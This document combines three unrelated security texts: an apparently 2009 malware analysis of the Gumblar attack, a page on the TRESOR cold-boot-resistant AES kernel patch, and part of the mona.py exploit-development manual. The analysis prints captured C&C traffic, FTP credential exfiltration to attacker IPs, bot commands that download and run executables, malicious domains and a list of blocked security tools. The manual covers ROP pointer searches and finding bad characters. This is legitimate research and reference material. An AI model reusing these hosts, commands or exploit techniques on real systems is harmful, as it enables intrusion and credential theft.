I first found out about Gumblar a couple days ago via one of Scan Safe’s blog
posts. Responsible for 42% of “all malicious infections found on websites”
\(Sophos\) during a 7 day period, Gumblar \(JSRedir-R\) has been extremely
effective at propagating. Many bloggers have been focusing on the script
involved in the attack, not so much on what happens when a client is
compromised. I will attempt to cover this portion of the attack in detail.

**Summary**

Once compromised by the Gumblar / Martuz / Geno attack, victims will have many
pieces of malware loaded onto their machines, this malware does the following:

Steals FTP credentials  
Sends SPAM  
Installs fake anti virus  
Highjacks Google search queries  
Disables security software

The exploits used are for Adobe Acrobat and Adobe Flash Player.

Some further reading:

unmaskparasites  
dynamoo

**FTP credential stealing**

While observing the bot in my lab the first thing that indicated the ability
to steal credentials was the bot trying to put my network card into
promiscuous mode. I then logged into ftp.mozilla.org as anonymous and sure
enough my credentials were ex filtrated in an encoded format.

POST /good/receiver/ftp HTTP/1.1  
Host: 78.109.29.114  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 99

**ftp\_uri\_0**
=9ObqyMjmQWwGxvOwcOfhoJ%2BClWBtBM2kvnD%2F0qzByfsUN0eauuUxo6GiyNX4&ftp\_source\_0=xuD7lIGgQw

Doing a little recon, we can see the attacker is using “Capture Manager v1.0″,
a purchase which seems to be really paying off for them

<img src='img/Temp2_4465.jpg' width='300' height='185' alt='Capture Manager'
/>

Capture Manager

As mentioned earlier, the malware downloads software to sniff network traffic,
winpcap. With the network card in promiscuous mode, the attacker can then
capture other FTP credentials from machines on the same subnet.

An entry is made in the registry for winpcap: HKLM\SOFTWARE\WinPcap

**SPAM**

The first time I infected myself with the malware, a SPAM bot was installed
that had communication that looked like Pushdo. However the second time I
infected myself the malware exhibited different behavior and did not send the
same traffic. My firewall still recorded drops on port 25, so the malware
authors must be deploying a different SPAM engine now. I have not had a chance
to investigate this portion of the attack any further.

**Fake Antivirus**

As with so many attacks as of late, fake anti virus is also installed on the
affected machines. In this case it is “System Security 2009″, screenshots
below.

<img src='img/Temp2_4466.jpg' width='300' height='60' alt='av3' />

<img src='img/Temp2_4464.jpg' width='300' height='217' alt='av22' />

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SystemSecurity2009

**Search Hijacking**

The next portion of the attack involves hijacking google search results. The
malware installs a proxy on port 7171 which then redirects searches. When a
user searches for something, the malware will send the user to a page of it’s
choosing filled with bogus search results. Here is an example of what you get
after clicking a google search result for “car”.

<img src='img/Temp2_4463.jpg' width='300' height='225' alt='car1' />

Sys32dll.exe contains the proxy which has a firewall bypass rule added as
well. Also note that a rule is added for port 80.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer:
“http=localhost:7171″  
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\80:TCP:
“80:TCP:\*:Enabled:SYS32DLL”  
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\7171:TCP:
“7171:TCP:\*:Enabled:SYS32DLL”

**Disable Security Software**

In order to keep itself running and make life more difficult for both analysts
and users, the malware disables many security and administrative tools by
sending them to the windows system debugger. Here is an example:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\zonealarm.exe\Debugger: “ntsd -d”

And here is a list of all the blocked applications:

a2service.exe  
ArcaCheck.exe  
arcavir.exe  
ashDisp.exe  
ashEnhcd.exe  
ashServ.exe  
ashUpd.exe  
aswUpdSv.exe  
autoruns.exe  
avadmin.exe  
avcenter.exe  
avcls.exe  
avconfig.exe  
avconsol.exe  
avgnt.exe  
avgrssvc.exe  
avguard.exe  
AvMonitor.exe  
avp.com  
avp.exe  
AVP32.EXE  
avscan.exe  
avz.exe  
avz4.exe  
avz\_se.exe  
bdagent.exe  
bdinit.exe  
caav.exe  
caavguiscan.exe  
casecuritycenter.exe  
CCenter.exe  
ccupdate.exe  
cfp.exe  
cfpupdat.exe  
cmdagent.exe  
drwadins.exe  
DRWEB32.EXE  
drwebupw.exe  
ekrn.exe  
FAMEH32.EXE  
filemon.exe  
FPAVServer.exe  
fpscan.exe  
FPWin.exe  
fsav32.exe  
fsgk32st.exe  
FSMA32.EXE  
GFRing3.exe  
guardgui.exe  
guardxservice.exe  
guardxup.exe  
HijackThis.exe  
KASMain.exe  
KASTask.exe  
KAV32.exe  
KAVDX.exe  
KAVPF.exe  
KAVPFW.exe  
KAVStart.exe  
KPFW32.exe  
KPFW32X.exe  
Navapsvc.exe  
Navapw32.exe  
navigator.exe  
NAVNT.EXE  
NAVSTUB.EXE  
NAVW32.EXE  
NAVWNT.EXE  
niu.exe  
nod32.exe  
nod32krn.exe  
Nvcc.exe  
OllyDBG.EXE  
outpost.exe  
preupd.exe  
procexp.exe  
pskdr.exe  
regedit.exe  
regmon.exe  
RegTool.exe  
scan32.exe  
SfFnUp.exe  
Vba32arkit.exe  
vba32ldr.exe  
vsserv.exe  
Zanda.exe  
zapro.exe  
Zlh.exe  
zonealarm.exe  
zoneband.dll

**Domains**

Since both gumblar.cn and martuz.cn are down as of this writing, I will
discuss the secondary domains involved in the attack. These are the domains
that actually host the malware and exploits and listen on port 8080 so they
may seem offline if you try connecting directly.

autobestwestern.cn  
bestlotron.cn  
betbigwager.cn  
denverfilmdigitalmedia.cn  
educationbigtop.cn  
filmtypemedia.cn  
finditbig.cn  
greatbethere.cn  
hotslotpot.cn  
liteautotop.cn  
litebest.cn  
litegreatestdirect.cn  
litetopdetect.cn  
lotbetsite.cn  
lotwageronline.cn  
mediahomenamemartvideo.cn  
nameashop.cn  
perfectnamestore.cn  
playbetwager.cn  
bestfindaloan.cn  
finditbig.cn  
litetopdetect.cn  
litetopfindworld.cn  
lotwageronline.cn  
nanotopdiscover.cn  
torrentoreactor.net  
bestfindaloan.cn  
finditbig.cn  
litegreatestdirect.cn  
lotwageronline.cn

These are additional domains involved in the attack:

nua20090515.com \- C&C  
i-site.ph \- binary download  
zz-dns.com \- additional C&C?  
main15052009.com \- fake av related?  
besthandycap.com  
ya.ru  
…and many more…

**Other Information**

Malware startup

1\) HKLM\SYSTEM\ControlSet001\Services\VSSMSDTC\ImagePath:
“C:\WINDOWS\system32\asferrort.exe srv”  
2\) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PromoReg:
“C:\WINDOWS\Temp\wpv701242765100.exe”  
3\) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pp:
“c:\windows\pp10.exe”  
4\) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\12281714: “C:\Documents
and Settings\All Users\Application Data\12281714\12281714.exe”  
5\) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\92291706: “C:\Documents
and Settings\All Users\Application Data\92291706\92291706.exe”  
6\) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sysldtray:
“c:\windows\ld08.exe”

An additional security provider is also installed in the form of digiwet.dll,
I have not investigated this piece of the attack.

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SecurityProviders:
“msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, digiwet.dll”

A BHO \(browser helper object\) is also installed here:

HKLM\SOFTWARE\Classes\CLSID\\\{31F57AFD-3989-4A5B-A33E-6B6253DF8DD4\}\InprocServer32\:
“C:\WINDOWS\system32\547372\547372.dll”

One of the pieces of malware \(ld08.exe\) also hooks several APIs:

<img src='img/Temp2_4467.jpg' width='300' height='241' alt='hooks' />

**C &C communication**

The magic number field below may be a key to encode the further communication
to hamper analysis.

GET
/new/controller.php?action=bot&entity\_list=&uid=1&first=1&guid=953988293&rnd=981633
HTTP/1.1

Host: 78.109.29.112  
HTTP/1.1 200 OK  
Server: nginx  
Date: Wed, 20 May 2009 19:58:49 GMT  
Content-Type: text/html; charset=utf-8  
Connection: close  
X-Powered-By: PHP/5.1.6  
Version: 1  
Content-Length: 581632  
Entity-Info:
1241292389:50176:2;1241530597:32768:1;1241643870:41984:1;1242216620:28672:2;1242765100:428032:2;

Rnd: 982147  
Magic-Number:
1024|1|121:12:234:245:236:103:151:67:93:53:56:150:6:94:36:63:106:66:140:194:113:23:183:92:85:78:68:182:185:205:58:51:217:36:40:198:140:191:10:234:245:66:128:252:160:164:59:10:230:200:205:88:223:132:181:53:210:249:235:140:198:38:191:160:74:231:102:215:167:113:193:156:180:65:152:85:230:211:95:205:155:45:37:123:178:218:176:132:211:156:16:154:194:208:58:13:183:161:228:95:19:166:251:199:232:148:28:206:104:124:155:4:170:193:127:92:155:48:224:111:204:241:10:143:194:69:156:121:231:129:217:250:39:212:194:15:105:223:222:209:92:122:214:6:59:85:98:215:134:67:71:83:53:82:226:247:151:126:113:127:0:74:122:39:31:60:55:136:28:22:90:120:144:48:126:204:134:225:164:12:36:236:95:89:62:65:81:214:192:194:85:193:13:207:232:44:12:32:181:40:54:15:161:199:64:31:148:198:0:57:211:37:38:51:127:100:117:208:59:53:147:144:247:160:96:223:204:108:0:130:149:55:145:54:255:210:86:148:153:87:205:108:124:243:159:252:88:20:204:148:74:96:36:65:0:133:33:205:242:34:79:136:89:225:190:89:179:20:237:77:108:187:185:232:175:89:228:7:110:177:155:185:17:192:251:18:70:29:223:56:63:47:192:153:16:127:243:196:148:224:17:0:155:203:233:74:37:205:82:148:127:238:78:145:174:73:163:244:103:131:45:166:178:238:64:195:110:51:135:2:20:153:2:175:101:235:250:138:185:76:30:57:58:108:202:233:182:110:222:29:241:12:196:164:251:5:103:105:57:239:107:77:136:110:253:237:90:247:120:20:68:150:77:127:3:24:105:186:135:71:216:121:84:156:29:79:162:132:184:219:116:36:40:252:146:37:233:236:29:98:0:97:249:78:225:252:102:74:183:237:146:143:102:231:44:132:54:206:9:239:169:125:19:209:121:166:247:99:146:20:197:147:118:190:225:88:187:72:162:115:54:53:2:157:28:47:33:83:253:42:66:167:167:86:121:33:252:112:133:143:133:75:34:252:9:4:84:197:77:247:56:131:44:59:32:73:106:66:156:104:108:222:15:20:52:136:53:49:249:186:192:126:5:227:122:15:232:207:213:53:198:13:185:242:73:218:59:179:28:216:28:136:182:43:156:235:179:210:28:172:141:220:43:146:192:166:162:168:117:119:222:59:133:151:46:206:113:106:130:142:66:159:23:249:202:180:228:126:134:1:43:19:222:86:166:158:253:73:71:114:193:37:174:70:188:220:21:46:70:152:188:137:55:211:130:2:136:103:128:14:104:171:34:71:2:201:229:255:18:44:114:211:81:32:26:14:253:47:60:67:200:249:205:255:205:79:1:85:182:130:100:31:45:135:102:48:80:76:48:99:121:162:55:203:194:81:217:191:129:22:3:73:16:208:73:222:32:75:51:215:205:152:247:251:31:94:44:112:170:92:211:36:254:10:239:193:91:201:129:221:224:132:38:241:85:112:207:118:188:3:77:137:155:69:133:187:163:178:43:78:14:254:114:13:8:98:206:100:43:79:65:12:212:104:253:42:217:204:160:149:207:238:31:107:51:165:38:214:87:81:36:101:79:151:115:88:249:65:189:37:145:255:49:102:104:46:144:65:250:49:214:202:31:246:53:83:155:91:42:242:172:79:88:252:230:203:85:223:13:19:5:159:18:54:5:123:100:150:189:95:199:147:42:231:138:95:58:37:187:101:24:104:180:112:101:155:60:186:123:74:206:128:233:225:182:239:92:27:133:25:123:77:173:165:52:55:5:111:93:192:213:117:40:137:230:141:37:35:72:160:109:22:33:87:247:216:70:84:243:204:110:111:25:27:20:78:83:25:190:176:218:147:38:2:28:13:144:66:48:217:227:158:239:4:245:231:221:60:60:208:9:170:64:35:198:84:113:25:110:47:202:73:194:240:76:223:254:220:34:46:181:5:205:165:10:195:141:231:0:201:184:9:116:248:44:58:77:158:83:188:206:30:5:145:15:81:113:13:46:147:60:228:153:9:137:163:205:23:138:205:225:67:214:85:59:3:143:136:161:227:69:112:2:74:1:17:156:114:30:202:5:91:174:159:100:56:66:50:79:205:255:49:16:213:134:75:217:22:212:123:250:26:235:252:100:236:14:1:95:44:203:100:135:122:4:236:179:70:30:3:19:30:52:36:243:187:112:205:209:69:72:204:95:51:201:196:32:215:197:127:3:145:228:139:11:232:120:191:46:151:194:66:181:246:103:169:177:215:119:131:28:191:80:123:242:25:63:18:240:4:145:244:149:118:  
GET
/new/controller.php?action=report&guid=0&rnd=981633&uid=1&entity=1241292389:unique\_start;1241530597:unique\_start;1241643870:unique\_start;1242216620:unique\_start;1242765100:unique\_start
HTTP/1.1

Host: 78.109.29.112  
HTTP/1.1 200 OK  
Server: nginx  
Date: Wed, 20 May 2009 19:58:56 GMT  
Content-Type: text/html; charset=utf-8  
Connection: close

X-Powered-By: PHP/5.1.6  
Content-Length: 0

This next portion is the bot receiving it’s commands on what files to download
next

POST /ld/gen.php HTTP/1.1  
Host: nua20090515.com  
User-Agent: Mozilla/4.0 \(compatible; MSIE 7.0; Windows NT 5.1.2600 Service
Pack 2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729\)  
Content-type: application/x-www-form-urlencoded  
Connection: close  
Content-Length: 107

f=0&a=953988293&v=08&c=0&s=ld&l=8174&ck=0&c\_fb=0&c\_ms=0&c\_hi=0&c\_be=0&c\_fr=-1&c\_yb=-1&c\_tg=0&c\_nl=0&c\_fu=-1HTTP/1.1
200 OK  
Date: Wed, 20 May 2009 20:37:44 GMT  
Server: Apache/1.3.41 \(Unix\) PHP/5.2.9  
X-Powered-By: PHP/5.2.9  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html  
9a  
\#PID=8174  
START|http://www.i-site.ph/1/6244.exe  
START|http://www.i-site.ph/1/nfr.exe  
STARTONCE|http://www.i-site.ph/1/pp.10.exe  
WAIT|120  
\#BLACKLABEL  
EXIT  
0

Another GET that appears to be a bot check in type request, note the lack of
user agent.

GET /v50/?v=66&s=I&uid=953988293&p=8174&q= HTTP/1.0  
Host: 85.13.236.154  
User-Agent:  
HTTP/1.1 200 OK  
Date: Wed, 20 May 2009 20:39:28 GMT  
Server: Apache/2.2.10 \(Fedora\)  
X-Powered-By: PHP/5.1.6  
Cache-Control: no-cache  
Work-Server: 85.13.236.154  
Content-Length: 0  
Connection: close  
Content-Type: text/html

That’s all the analysis I have time for at the moment, this is a very large
attack encompasing many malicious payloads. Hopefully more analysis will
follow.

# University of Erlangen-Nuremberg - Chair for IT Security Infrastructures

**Created:**| _6/1/2011 4:03:25 PM_  
---|---  
**Updated:**| _6/1/2011 4:03:25 PM_  
**Author:**| __  
**Tags:**| _hardware crypto_  
  

# TRESOR Runs Encryption Securely Outside RAM

  
TRESOR is a secure implementation of AES which is resistant against cold boot
attacks and other attacks on main memory. The basic idea behind this
implementation is to store the secret key inside CPU registers rather than in
RAM. All computations take place only on registers, no AES state is ever going
to RAM. In particular, the x86 debug registers are misused as secure key
storage.  
  
Running TRESOR on a 64-bit CPU that supports AES-NI, there is no performance
penalty compared to a generic implementation of AES and the supported key
sizes are 128, 192 and 256 bits \(full AES\).  
  
Running TRESOR on a plain old 32-bit CPU, supporting at least SSE2, is
possible as well. But you get a performance penalty of about factor six
compared to generic AES and the only supported key length is 128 bits. Thus,
we recommend to use TRESOR in combination with one of Intel's new Core-i
processors supporting AES-NI \(e.g., Core-i5 or Core-i7\).  
  
  
**Kernel patch** :  
\[tresor-patch-2.6.36\_aesni\] \(Core-i series with AES-NI support; 64-bit\)  
\[tresor-patch-2.6.36\_i686\] \(other x86 CPUs with at least SSE2; 32-bit\)  
  
**Misc** :  
\[tresor\_cobra.tar.gz\] \(cold boot attack on the tresor key registers\)  
\[tresor\_picklock.tar.gz\] \(kernel module based attack on the tresor key\)  
  
**Information / Papers** :  
README \(installation instructions\)  
TRESOR Runs Encryption Securely Outside RAM, USENIX Security 2011  
AESSE \-- A Cold-Boot Resistant Implementation of AES, EuroSec 2010  
Alternative: A similar project to TRESOR is Loop-Amnesia \(AES-128 for 64-bit
CPUs without AES-NI support\).  
---

# mona.py – the manual | Corelan Team
**Created:**| _7/15/2011 2:20:39 PM_  
---|---  
**Updated:**| _7/15/2011 2:40:47 PM_  
**Author:**| __  
**Tags:**| _Debugging Exploit python rop_  
  

## mona.py – the manual

## Introduction

This document describes the various commands, functionality and behaviour of
mona.py.

Released on june 16, this pycommand for Immunity Debugger replaces
pvefindaddr, solving performance issues, offering numerous improvements and
introducing tons of new features. pvefindaddr will still be available for
download until all of its functionality has been ported over to mona.

## Downloading mona.py

The mona project page is located here :
http://redmine.corelan.be/projects/mona

There are 2 versions of mona : A "stable" release and a trunk release.

The stable release only gets updated once in a while \(basically minor and
major version updates\), the trunk release is the one that has all the
"bleeding edge" changes, patches, etc. "Stable" only refers to the fact that
there are not a lot of changes \(so no unexpected behaviour\). It does not
mean it is bugfree, it only means the bugs \(if any\) won’t get fixed until a
next release.

You can download the stable release here, but I recommend using the trunk
release, which can be downloaded here. In fact, all documentation \(including
this one\) is based on trunk releases, so if something is working differently
in the stable release, we’ll ask you to start using the trunk release anyway.

Together with the release of this documentation, we are also proud to be able
to release mona.py v1.1 .

The current stable version of mona.py is 1.1, the current trunk version of
mona.py is dev-v1.2

> **Important :** Mona only works on Immunity Debugger 1.8x and up.
When you have downloaded mona.py, simply save the file into the PyCommands
folder. In a typical installation, this folder is located here :

[code]

    C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
    
[/code]

That’s it. mona.py is now installed.

## Basic usage

Open Immunity Debugger. At the bottom of the application you should see an
input box \(command bar\)

Enter \!mona and press return.

Open the log window \(ALT-L\) and you should get a full page of information
about mona \(options and commands\)

At the top, you can find the global options. The second half of the output
contains all available commands.

If you want more information about the use of a certain command, you can
simply run \!mona help <command>.

Suppose you want more info about the use of the "assemble" command, run

[code]

    !mona help assemble
    
[/code]

output :

## Keeping mona.py up-to-date

Before using mona, I strongly recommend making sure you are running the latest
version. If you are using the stable release, you won’t see updates that often
\(new version releases are often announced on twitter or Google+\).

If you are using the trunk release of mona.py, you might want to update on a
regular \(daily\) basis.

Updating is very simple. Make sure your device has access to
redmine.corelan.be \(https or http\) and run

[code]

    !mona update
    
[/code]

By default, a connection is made to https://redmine.corelan.be. If, for
whatever reason, you are unable to use https, you can use the -http switch to
force the use of http:

[code]

    !mona update -http
    
[/code]

Starting from mona.py v1.1 you can switch between stable and trunk releases,
by using the -t <version> option.

So, if you are running trunk and you want to change to release, run

[code]

    !mona update -t release
    
[/code]

if you want to switch to the latest trunk version, run

[code]

    !mona update -t trunk
    
[/code]

Install and update mona + basic usage

View the video online here

## Setting up your debugger environment

### working folder

One of the issues we had with pvefindaddr was the fact that all output was
written into the Immunity Debugger program folder. Since the output files for
a given command, ran on different applications, carry the same name, you would
basically end up overwriting the previous output.

Mona allows you to group the output and write then into application specific
folders. In order to activate this feature, you will need to set a
configuration parameter, for example :

[code]

    !mona config -set workingfolder c:\logs\%p
    
[/code]

This will tell mona to write the output to subfolders of c:\logs. The %p
variable will be replaced with the process name currently being debugged. Note
that, if you are not debugging an application, Immunity returns the name of
the previously debugged application. In order to prevent mona from writing
files into an application folder at that time, mona also checks for the
process ID of the debugged app. If the pid is 0 \(= not attached\), then
output will be written into a folder "\_no\_name"

If you want to further group output, you can even use the %i variable in the
workingfolder parameter. This variable will get replaced with the process ID
of the application being debugged.

This configuration parameter is written into a file called "mona.ini", inside
the Immunity Debugger application folder.

### exclude modules

Mona has a second configuration parameter, allowing you to always exclude
certain modules from search operations. If you want to ignore modules loaded
by shell extensions, virtual guest additions, antivirus, etc etc, you can
simply tell mona to ignore them using the following config command.

[code]

    !mona config -set excluded_modules "module1.dll,module2.dll"
    !mona config -add excluded_modules "module3.dll"
    
[/code]

If you want to remove a module from the list, simply look for mona.ini in the
Immunity Debugger program folder and edit the file.

### author

This variable will be used when producing metasploit compatible output. If you
set this variable, it will be used in the author section of a metasploit
module.

[code]

    !mona config -set author corelanc0d3r
    
[/code]

## Global options

Global options allow you to influence and fine tune the results of any search
command that produces a list of pointers.

### option -n

If you use option -n, all modules that start with a null byte will be skipped.
This will speed up the searches, but it might miss some results because the
module might actually contain pointers that don’t start with a null byte. If
this behaviour is too broad, and if you only want to exclude pointer with null
bytes, then you should either use option -cp nonull or option -cpb ‘\x00′
\(see below\)

### option -o

This option will tell mona to ignore OS module from search operations. As you
will see in the documentation of each command, this is often the default
behaviour. You will be able to overrule the behaviour using the -cm option
\(see later\)

### option -p

This option takes one argument : a numeric value. Option -p allows you to
limit the number of results to return. If you only want 5 pointers, you can
use option -p 5

### option -m

This option allows you to specify the modules to perform the search operation
on. If you specify -m, it will ignore all other module criteria \(set by
option -cm or set as default behaviour for a given command\). You can specify
multiple modules by separating them with comma’s.

Example : suppose you want to include all modules that start with "gtk", all
modules that contains "win" and module "shell32.dll", then this is what the
option should look like :

[code]

    -m "gtk*,*win*,shell32.dll"
    
[/code]

If you want to search all modules, you can simply use **-m \***

### option -cm

This option allows you to set the criteria \(c\) a module \(m\) should comply
with to get included in search operations.

The available criteria are :

  * aslr
  * rebase
  * safeseh
  * nx
  * os

If you want to include aslr and rebase modules, but exclude safeseh modules,
you can use

[code]

    -cm aslr=true,rebase=true,safeseh=false
    
[/code]

\(note : this will also include the non aslr and non rebase modules\). You can
use the "true" value to override defaults used in a given command, you can use
"false" to force certain modules from getting excluded\).

If you want more granularity, you can use the -m "module1,module1" option
\(basically tell mona to search in those modules and only those modules\)

### option -cp

The cp option allows you to specify what criteria \(c\) a pointer \(p\) should
match. pvefindaddr already marked pointers \(in the output file\) if they were
unicode or ascii, or contained a null byte, but mona is a lot more powerful.
On top of marking pointers \(which mona does as well\), you can limit the
returning pointers to just the ones that meet the given criteria.

The available criteria are :

  * unicode \(this will include unicode transforms as well\)
  * ascii
  * asciiprint
  * upper
  * lower
  * uppernum
  * lowernum
  * numeric
  * alphanum
  * nonull
  * startswithnull

If you specify multiple criteria, the resulting pointers will meet ALL of the
criteria. If you want to apply "OR" to the criteria, you’ll have to run
multiple searches.

We believe this is a very strong feature. Especially with ROP exploits \(where
large parts of the payload consist of pointers and not just shellcode\), the
ability to finetune the pointer criteria is very important \(and an often
missing feature from other search tools\).

Example : only show pointers that contain ascii printable bytes

[code]

    -cp asciiprint
    
[/code]

Example : only show pointers that don’t contain null bytes

[code]

    -cp nonull
    
[/code]

### option -cpb

This option allows you to specify bad characters for pointers. This feature
will basically skip pointers that contain any of the bad chars specified at
the command line.

Suppose your exploit can’t contain \x00, \x0a or \x0d, then you can use the
following global option to skip pointers that contain those bytes :

[code]

    -cpb '\x00\x0a\x0d'
    
[/code]

### option -x

This options allows you to set the desired access level of the resulting
pointers. In most cases, pointers should part of an executable page, but in
some cases, you may need to be able to look for pointers \(or data\) in non-
executable area’s as well.

The available values for -x are :

  * \*
  * R
  * RW
  * RX
  * RWX
  * W
  * WX
  * X

In all cases the default setting will be X \(which includes X, RX,WX and RWX\)

## Output files

Before looking at the various commands, let’s take a look at what output files
will contains

First of all, they contain a header, indicating the mona version, the OS
version, the process being debugged, the pid, and a timestamp

[code]

    ================================================================================
      Output generated by mona.py v1.1-dev
      Corelan Team - http://www.corelan.be
    ================================================================================
      OS : xp, release 5.1.2600
      Process being debugged : GenBroker (pid 7012)
    ================================================================================
      2011-06-21 18:33:18
    ================================================================================
    
[/code]

Next, there will be a table with the module information for all loaded modules
:

[code]

    Module info :
    ----------------------------------------------------------------------------------------------------------------------------------
     Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
    ----------------------------------------------------------------------------------------------------------------------------------
     0x002d0000 | 0x00326000 | 0x00056000 | True   | True    | False |  False   | True   | 7.10.3052.4 [MSVCR71.dll] (C:\WINDOWS\system32\MSVCR71.dll)
     0x77b20000 | 0x77b32000 | 0x00012000 | False  | True    | False |  False   | True   | 5.1.2600.5875 [MSASN1.dll] (C:\WINDOWS\system32\MSASN1.dll)
     0x74980000 | 0x74aa3000 | 0x00123000 | False  | True    | False |  False   | True   | 8.100.1052.0 [msxml3.dll] (C:\WINDOWS\system32\msxml3.dll)
     0x77a80000 | 0x77b15000 | 0x00095000 | False  | True    | False |  False   | True   | 5.131.2600.5512 [CRYPT32.dll] (C:\WINDOWS\system32\CRYPT32.dll)
     0x00c10000 | 0x00ed5000 | 0x002c5000 | True   | True    | False |  False   | True   | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll)
     0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5781 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
     0x76780000 | 0x76789000 | 0x00009000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHFOLDER.dll] (C:\WINDOWS\system32\SHFOLDER.dll)
     0x7c3a0000 | 0x7c41b000 | 0x0007b000 | False  | True    | False |  False   | True   | 7.10.3077.0 [MSVCP71.dll] (C:\WINDOWS\system32\MSVCP71.dll)
     0x7c900000 | 0x7c9b2000 | 0x000b2000 | False  | True    | False |  False   | True   | 5.1.2600.6055 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll)
     0x015b0000 | 0x015b8000 | 0x00008000 | True   | False   | False |  False   | False  | 9.20.200.49 [GenRegistrarServerps.dll] (C:\Program Files\Common Files\ICONICS\GenRegistrarServerps.dll)
     0x71a90000 | 0x71a98000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll)
     0x00270000 | 0x0029f000 | 0x0002f000 | True   | False   | False |  False   | True   | 9.20.200.49 [TraceWorX.DLL] (C:\WINDOWS\system32\TraceWorX.DLL)
     0x77fe0000 | 0x77ff1000 | 0x00011000 | False  | True    | False |  False   | True   | 5.1.2600.5834 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll)
     0x71ad0000 | 0x71ad9000 | 0x00009000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WSOCK32.dll] (C:\WINDOWS\system32\WSOCK32.dll)
     0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll)
     0x774e0000 | 0x7761e000 | 0x0013e000 | False  | True    | False |  False   | True   | 5.1.2600.6010 [ole32.dll] (C:\WINDOWS\system32\ole32.dll)
     0x77f60000 | 0x77fd6000 | 0x00076000 | False  | True    | False |  False   | True   | 6.00.2900.5912 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll)
     0x7e410000 | 0x7e4a1000 | 0x00091000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll)
     0x010e0000 | 0x010ef000 | 0x0000f000 | True   | True    | False |  False   | True   | 9.20.200.49 [MwxPS.dll] (C:\WINDOWS\system32\MwxPS.dll)
     0x71b20000 | 0x71b32000 | 0x00012000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [MPR.dll] (C:\WINDOWS\system32\MPR.dll)
    
[/code]

The fields listed are

  * Base
  * Top
  * Size
  * Rebase
  * SafeSEH
  * ASLR
  * NX
  * OS dll ?
  * Module version
  * Module name
  * Path

Finally, the results of the search operation are listed \(one line per
pointer\). Each line will contain a pointer, information about the pointer,
and information about the module the pointer belongs to.

If possible, if there was already a file with the same file name in the output
folder, the previous file will be renamed to .old first. If that was not
possible, it will get overwritten.

## Commands

Before looking at the various commands, it’s important to remember that most
of the commands have default behaviour in terms of pointer and/or module
criteria.

We will clearly document what those values are. You can override these default
by using one or more of the global options listed above.

### a

The "a" command is an alias for "seh". In pvefindaddr, this command initiated
a search for add esp+8 / ret instructions, but in mona, all searches have been
combined into "seh".

If you run "a", it will kick off "seh" and perform a full search for pointers
that should bring you back to nseh \(in a seh overwrite exploit\). For more
info, see "seh" below.

### assemble

The "assemble" command allows you to convert one or more assembly instructions
into opcode.

Mandatory argument :

  * -s <instruction>

You can specify multiple instructions by separating them with a \#

Example : find opcodes for pop eax, inc ebx and ret :

[code]

    !mona assemble -s "pop eax#inc ebx#ret"
    
[/code]

Output :

[code]

    Log data
    Address    Message
    0BADF00D   Opcode results :
    0BADF00D   ----------------
    0BADF00D    pop eax = \x58
    0BADF00D    inc ebx = \x43
    0BADF00D    ret = \xc3
    0BADF00D    Full opcode : \x58\x43\xc3
    0BADF00D   Action took 0:00:00.018000
    
[/code]

### bp

The "bp" command allows you to set a breakpoint on a given address, which will
be triggered if the address is read from or written to.

Mandatory arguments :

  * -a <address>
  * -t <type> : where <type> is either "READ" or "WRITE"

Note : the address should exist when setting the breakpoint. If not, you’ll
get an error.

Example : set a breakpoint when the application reads from 0012C431 :

[code]

    !mona bp -a 0x0012C431 -t READ
    
[/code]

### bytearray

The "bytearray" option was implemented to assist exploit developers when
finding bad chars. It will produce an array with all bytes between \x00 and
\xff \(except for the ones that you excluded\), and writes the array to 2
files :

  * a text file containing the array in ascii format \(bytearray.txt\)
  * a binary file containing the same array \(bytearray.bin\)

Optional arguments :

  * -b <bytes> : exclude these bytes from the array
  * -r : show the array in reverse \(starting at \xff, end at \x00\)

We believe finding bad chars is a mandatory step in the exploit writing
process. Over the last few weeks and months, a lot of people have asked us how
to perform this task, so here are the steps to finding bad chars :

Let’s say your exploit structure \(classic saved return pointer overwrite\)
looks like this :

[code]

    [ 280 bytes of junk ] [ EIP ] [ 500 bytes (shellcode) ]
    
[/code]

We should try to make the process as reliable and smooth as possible, so we’ll
have to make sure we’re not messing with the essential part of the payload,
which is the part that should allow us to keep control over EIP.

We’ll keep the first 280 bytes and the 4 bytes \(saved return pointer\)
intact. If we would change those and the first 280 bytes contain bad chars,
then we might not even be able to control EIP anymore, making it very hard to
debug and find bad chars.

We have a number of bytes available after overwriting saved return pointer. So
that is the perfect location to put our array. It will make sure that we can
make the application crash in a reliable way, allowing us to set a breakpoint
